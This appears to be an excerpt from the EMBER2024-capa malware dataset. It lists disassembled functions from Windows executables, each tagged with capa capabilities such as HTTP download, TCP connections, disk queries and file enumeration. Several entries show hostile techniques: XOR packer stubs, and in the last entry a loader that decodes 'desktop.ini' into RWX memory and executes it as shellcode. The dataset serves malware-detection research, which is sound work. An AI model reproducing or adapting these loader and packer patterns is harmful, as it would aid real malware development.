joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5ae978
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fc0
xor eax, eax
push ebp
push 0x5aeb7a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
shl eax, 8
mov edx, dword [ebp - 4]
movzx edx, byte [edx + 1]
add eax, edx
cmp eax, 0xc2e8
jge 0x5aea67
cmp eax, 0xb7a2
jge 0x5aea0a
cmp eax, 0xb2c1
jge 0x5ae9df
add eax, 0xffff4f5f
sub eax, 0x24
jb 0x5aeb06
sub eax, 0x1fc
jb 0x5aeb0a
jmp 0x5aeb62
add eax, 0xffff4d3f
sub eax, 0x22d
jb 0x5aeb0e
sub eax, 0x1fc
jb 0x5aeb12
sub eax, 0xb8
jb 0x5aeb16
jmp 0x5aeb62
cmp eax, 0xbbf7
jge 0x5aea3c
add eax, 0xffff485e
sub eax, 0x11f
jb 0x5aeb1a
sub eax, 0x13d
jb 0x5aeb1e
sub eax, 0x1f9
jb 0x5aeb22
jmp 0x5aeb62
add eax, 0xffff4409
sub eax, 0x3af
jb 0x5aeb26
sub eax, 0x106
jb 0x5aeb2a
sub eax, 0x23c
jb 0x5aeb2e
jmp 0x5aeb62
cmp eax, 0xc8f6
jge 0x5aeac7
cmp eax, 0xc5be
jge 0x5aea9e
add eax, 0xffff3d18
sub eax, 0x1db
jb 0x5aeb32
sub eax, 0xf3
jb 0x5aeb36
sub eax, 8
jb 0x5aeb3a
jmp 0x5aeb62
add eax, 0xffff3a42
sub eax, 0x11c
jb 0x5aeb3e
sub eax, 0x1e1
jb 0x5aeb42
sub eax, 0x3b
jb 0x5aeb46
jmp 0x5aeb62
cmp eax, 0xcef4
jge 0x5aeaea
add eax, 0xffff370a
sub eax, 0x304
jb 0x5aeb4a
sub eax, 0x1e0
jb 0x5aeb4e
sub eax, 0x11a
jb 0x5aeb52
jmp 0x5aeb62
add eax, 0xffff310c
sub eax, 0x295
jb 0x5aeb56
sub eax, 0x348
jb 0x5aeb5a
sub eax, 0x329
jb 0x5aeb5e
jmp 0x5aeb62
mov bl, 0x41
jmp 0x5aeb64
mov bl, 0x42
jmp 0x5aeb64
mov bl, 0x43
jmp 0x5aeb64
mov bl, 0x44
jmp 0x5aeb64
mov bl, 0x45
jmp 0x5aeb64
mov bl, 0x46
jmp 0x5aeb64
mov bl, 0x47
jmp 0x5aeb64
mov bl, 0x48
jmp 0x5aeb64
mov bl, 0x4a
jmp 0x5aeb64
mov bl, 0x4b
jmp 0x5aeb64
mov bl, 0x4c
jmp 0x5aeb64
mov bl, 0x4d
jmp 0x5aeb64
mov bl, 0x4e
jmp 0x5aeb64
mov bl, 0x4f
jmp 0x5aeb64
mov bl, 0x50
jmp 0x5aeb64
mov bl, 0x51
jmp 0x5aeb64
mov bl, 0x52
jmp 0x5aeb64
mov bl, 0x53
jmp 0x5aeb64
mov bl, 0x54
jmp 0x5aeb64
mov bl, 0x57
jmp 0x5aeb64
mov bl, 0x58
jmp 0x5aeb64
mov bl, 0x59
jmp 0x5aeb64
mov bl, 0x5a
jmp 0x5aeb64
mov bl, 0x20
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5aeb81
lea eax, [ebp - 4]
call fcn.00404b00
ret
Function at 0x5bfc84
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 8
add esp, 0xfffff004
push eax
dec eax
jne 0x5bfc8d
mov eax, dword [ebp - 4]
add esp, 0xffffffec
push ebx
push esi
push edi
mov esi, ecx
mov ebx, edx
mov edi, eax
push 0
push 0
push 0
push 0
push 0x5bfe08
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x5bfdff
xor eax, eax
push ebp
push 0x5bfdf8
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80000000
push 0
push 0
mov eax, edi
call fcn.00404fd0
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 4], eax
xor ecx, ecx
mov dl, 1
mov eax, dword [0x41d5a4]
call fcn.00422598
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x8000
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x8018]
push eax
push 0x16
mov eax, dword [ebp - 4]
push eax
call sub.wininet.dll_HttpQueryInfoA
test bl, bl
je 0x5bfd3e
lea edx, [ebp - 0x8018]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov ebx, dword [eax]
call dword [ebx + 0x10]
cmp dword [ebp - 4], 0
je 0x5bfde1
xor eax, eax
push ebp
push 0x5bfdda
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x5bfdbc
push dword fs:[eax]
mov dword fs:[eax], esp
jmp 0x5bfd77
lea edx, [ebp - 0x8018]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
mov ebx, dword [eax]
call dword [ebx + 0x10]
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x8018]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.wininet.dll_InternetReadFile
test eax, eax
je 0x5bfd99
cmp dword [ebp - 0xc], 0
ja 0x5bfd66
mov eax, esi
mov edx, dword [ebp - 0x14]
mov edx, dword [edx + 4]
call fcn.00404b54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5bfdc3
mov eax, dword [ebp - 0x14]
call fcn.00403c90
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5bfdff
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x5bfff0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get socket status
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffedc
push ebx
push esi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fc0
xor eax, eax
push ebp
push 0x5c011a
push dword fs:[eax]
mov dword fs:[eax], esp
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x5c002f
xor ebx, ebx
jmp 0x5c0104
mov dword [ebp - 8], 1
lea eax, [ebp - 8]
push eax
push 0x8004667e
push ebx
call sub.wsock32.dll_ioctlsocket
test eax, eax
jne 0x5c00fc
mov word [ebp - 0x20], 2
push 0x25
call sub.wsock32.dll_htons
mov word [ebp - 0x1e], ax
mov eax, dword [ebp - 4]
call fcn.00404fd0
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x1c], eax
push 0x10
lea eax, [ebp - 0x20]
push eax
push ebx
call sub.wsock32.dll_connect
lea eax, [ebp - 0x124]
call fcn.005bf304
lea edx, [ebp - 0x124]
mov eax, ebx
call fcn.005bf2f4
mov dword [ebp - 0x10], 5
xor eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
push 0
lea eax, [ebp - 0x124]
push eax
push 0
push 0
call sub.wsock32.dll_select
dec eax
jne 0x5c00fc
mov dword [ebp - 0x10], 1
lea eax, [ebp - 0x10]
push eax
push 0
push 0
lea eax, [ebp - 0x124]
push eax
push 0
call sub.wsock32.dll_select
dec eax
jne 0x5c00fc
push 0
push 4
push esi
push ebx
call sub.wsock32.dll_recv
cmp eax, 4
jne 0x5c00fc
mov eax, dword [esi]
push eax
call sub.wsock32.dll_ntohl
mov dword [esi], eax
push ebx
call sub.wsock32.dll_closesocket
mov bl, 1
jmp 0x5c0104
push ebx
call sub.wsock32.dll_closesocket
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5c0121
lea eax, [ebp - 4]
call fcn.00404b00
ret
Function at 0x608aa4
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x120], ecx
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x118], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x608c15
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x608bf0
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x111], 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0x105
lea eax, [ebp - 0x111]
push eax
lea eax, [ebp - 0x118]
mov edx, ebx
call fcn.00404ce8
lea eax, [ebp - 0x118]
mov edx, 0x608c2c
call fcn.00404dd8
mov eax, dword [ebp - 0x118]
call fcn.00404fd0
push eax
call sub.kernel32.dll_GetVolumeInformationA
test eax, eax
je 0x608b62
lea eax, [ebp - 0x111]
call fcn.0040a3d4
mov ecx, eax
lea edx, [ebp - 0x111]
mov eax, esi
call fcn.00404bf0
jmp 0x608b69
mov eax, esi
call fcn.00404b00
cmp bl, 0x61
jae 0x608b8a
lea edx, [ebp - 0x11c]
mov eax, dword [esi]
call fcn.0040eb04
mov edx, dword [ebp - 0x11c]
mov eax, esi
call fcn.00404b54
jmp 0x608ba4
lea edx, [ebp - 0x120]
mov eax, dword [esi]
call fcn.0040ea78
mov edx, dword [ebp - 0x120]
mov eax, esi
call fcn.00404b54
lea eax, [ebp - 0x124]
push eax
mov eax, dword [esi]
mov dword [ebp - 0x12c], eax
mov byte [ebp - 0x128], 0xb
lea edx, [ebp - 0x12c]
xor ecx, ecx
mov eax, 0x608c38
call fcn.0040aadc
mov edx, dword [ebp - 0x124]
mov eax, esi
call fcn.00404b54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x608bf7
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
Function at 0x617078
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], ecx
mov ebx, edx
xor eax, eax
push ebp
push 0x617243
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x617250
call sub.kernel32.dll_GetVolumeInformationA
lea ecx, [ebp - 0x18]
movzx eax, word [ebp - 4]
mov edx, 4
call fcn.00409ac8
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 4]
call fcn.00408038
movzx eax, ax
lea ecx, [ebp - 0x1c]
mov edx, 4
call fcn.00409ac8
mov edx, dword [ebp - 0x1c]
lea eax, [ebp - 0x10]
pop ecx
call fcn.00404e1c
lea eax, [ebp - 0x20]
mov edx, dword [ebp - 0x10]
mov dl, byte [edx + 2]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x20]
lea eax, [ebp - 0x24]
call fcn.0040320c
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov dl, byte [edx + 1]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x24]
mov cl, 2
call fcn.004031dc
lea edx, [ebp - 0x24]
lea eax, [ebp - 0x2c]
call fcn.0040320c
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov dl, byte [edx + 4]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x2c]
mov cl, 3
call fcn.004031dc
lea edx, [ebp - 0x2c]
lea eax, [ebp - 0x34]
call fcn.0040320c
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov dl, byte [edx + 3]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x34]
mov cl, 4
call fcn.004031dc
lea edx, [ebp - 0x34]
lea eax, [ebp - 0x3c]
call fcn.0040320c
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov dl, byte [edx + 7]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x3c]
mov cl, 5
call fcn.004031dc
lea edx, [ebp - 0x3c]
lea eax, [ebp - 0x44]
call fcn.0040320c
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov dl, byte [edx + 6]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x44]
mov cl, 6
call fcn.004031dc
lea edx, [ebp - 0x44]
lea eax, [ebp - 0x4c]
call fcn.0040320c
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov dl, byte [edx]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x4c]
mov cl, 7
call fcn.004031dc
lea edx, [ebp - 0x4c]
lea eax, [ebp - 0x58]
call fcn.0040320c
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov dl, byte [edx + 5]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x58]
mov cl, 8
call fcn.004031dc
lea edx, [ebp - 0x58]
lea eax, [ebp - 0x14]
call fcn.00404d74
mov eax, ebx
mov edx, dword [ebp - 0x14]
call fcn.00404b54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x61724a
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.00404b24
ret
Function at 0x10028a4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push dword [ebp + 8]
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.ntdll.dll_wcscpy]
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.ntdll.dll_wcslen]
add esp, 0xc
lea eax, [ebp + eax*2 - 0x100]
dec eax
dec eax
mov cx, word [eax]
cmp cx, 0x5c
je 0x10028e5
cmp cx, 0x2f
jne 0x10028eb
and word [eax], 0
jmp 0x10028d4
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
leave
ret 4

Function at 0x1002906
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x658
push esi
push dword [edi + 4]
mov esi, dword [sym.imp.ntdll.dll_wcscpy]
lea eax, [ebp - 0x108]
push eax
call esi
push dword [edi + 4]
call dword [sym.imp.ntdll.dll_wcslen]
lea eax, [ebp + eax*2 - 0x108]
push 0x1001400
push eax
mov dword [ebp - 8], eax
call esi
add esp, 0x14
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x100296e
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, 0x12
neg eax
sbb eax, eax
jmp 0x1002a98
push ebx
mov ebx, dword [sym.imp.ntdll.dll_wcscmp]
lea eax, [ebp - 0x32c]
push 0x10013fc
push eax
call ebx
test eax, eax
pop ecx
pop ecx
je 0x1002a70
lea eax, [ebp - 0x32c]
push 0x10013f4
push eax
call ebx
test eax, eax
pop ecx
pop ecx
je 0x1002a70
lea eax, [ebp - 0x32c]
push eax
call dword [sym.imp.ntdll.dll__wcslwr]
push eax
push dword [ebp - 8]
call esi
mov eax, dword [edi + 0xc]
add esp, 0xc
test eax, eax
je 0x10029d2
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.ntdll.dll_wcscat]
pop ecx
pop ecx
lea eax, [ebp - 0x32c]
push eax
push dword [edi + 8]
call fcn.01002c6d
test eax, eax
je 0x1002a70
cmp dword [edi + 0xc], 0
je 0x1002a4b
lea eax, [ebp - 0x658]
push eax
lea eax, [ebp - 0x558]
push eax
lea eax, [ebp - 0x458]
push eax
lea edx, [ebp - 0x108]
call fcn.010027df
test eax, eax
je 0x1002a4b
test byte [ebp - 0x358], 0x10
je 0x1002a70
lea eax, [ebp - 0x458]
push eax
call fcn.010028a4
test eax, eax
je 0x1002a70
lea eax, [ebp - 0x658]
push eax
lea eax, [ebp - 0x558]
push eax
lea eax, [ebp - 0x458]
push eax
mov eax, dword [ebp + 8]
call fcn.01002648
jmp 0x1002a70
lea eax, [ebp - 0x108]
push eax
call fcn.010028a4
test eax, eax
je 0x1002a70
lea eax, [ebp - 0x108]
push eax
mov eax, dword [ebp + 0xc]
call fcn.01002718
mov ebx, eax
test ebx, ebx
jne 0x1002a95
lea eax, [ebp - 0x358]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov ebx, eax
test ebx, ebx
jne 0x100296f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x1002a95
mov eax, ebx
pop ebx
pop esi
leave
ret 8
Function at 0x1002e86
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x28
push 0x1001408
call fcn.01003024
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x1002ec1
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1002ec1
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x1002ed9
cmp eax, 0x20b
je 0x1002ec6
mov dword [ebp - 0x1c], edi
jmp 0x1002eed
cmp dword [ecx + 0x84], 0xe
jbe 0x1002ec1
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x1002ee7
cmp dword [ecx + 0x74], 0xe
jbe 0x1002ec1
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], edi
push 1
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x1005580], 0xffffffff
or dword [0x1005584], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x10042c0]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x10042bc]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x1005588], eax
call fcn.0100301e
cmp dword [0x1004260], edi
jne 0x1002f48
push fcn.0100301e
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.0100300c
push 0x1001118
push 0x1001114
call sub.msvcrt.dll__initterm
mov eax, dword [0x10042b8]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [0x10042b4]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x30], eax
push 0x1001110
push 0x100110c
call sub.msvcrt.dll__initterm
mov eax, dword [ebp - 0x24]
mov ecx, dword [sym.imp.msvcrt.dll___initenv]
mov dword [ecx], eax
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.0100151a
add esp, 0x30
mov esi, eax
mov dword [ebp - 0x34], esi
cmp dword [ebp - 0x1c], edi
jne 0x1002fbf
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x1002ff4
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.0100305d
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x183936ec
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x5b615ae3
nop
nop
nop
nop
test eax, eax
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x433002
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x360b5cb5
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x3ec22896
nop
nop
nop
nop
nop
test eax, eax
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x412082
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x418680], 0
push ebx
push esi
mov esi, 0x418688
jne 0x4120ae
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push esi
mov dword [0x4186a0], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x418680], 1
push dword [0x4186a0]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
test ebx, ebx
jne 0x41214b
push 0x14
push 8
push dword [0x418010]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x412175
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x418684]
test eax, eax
je 0x4120f0
mov dword [eax], ebx
push edi
push esi
mov dword [ebx + 4], eax
mov dword [0x418684], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edi, [ebx + 0x10]
push 0
push 0
push 0x100000
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 8
push 0xffffffffffffffff
push ebx
push 0x41217a
push dword [edi]
lea eax, [ebx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push ebx
push dword [0x4186a0]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
push 0xc
push 0
push dword [0x418010]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x412175
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov ecx, dword [ebx + 8]
mov dword [eax], ecx
mov dword [ebx + 8], eax
pop esi
pop ebx
ret 8

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10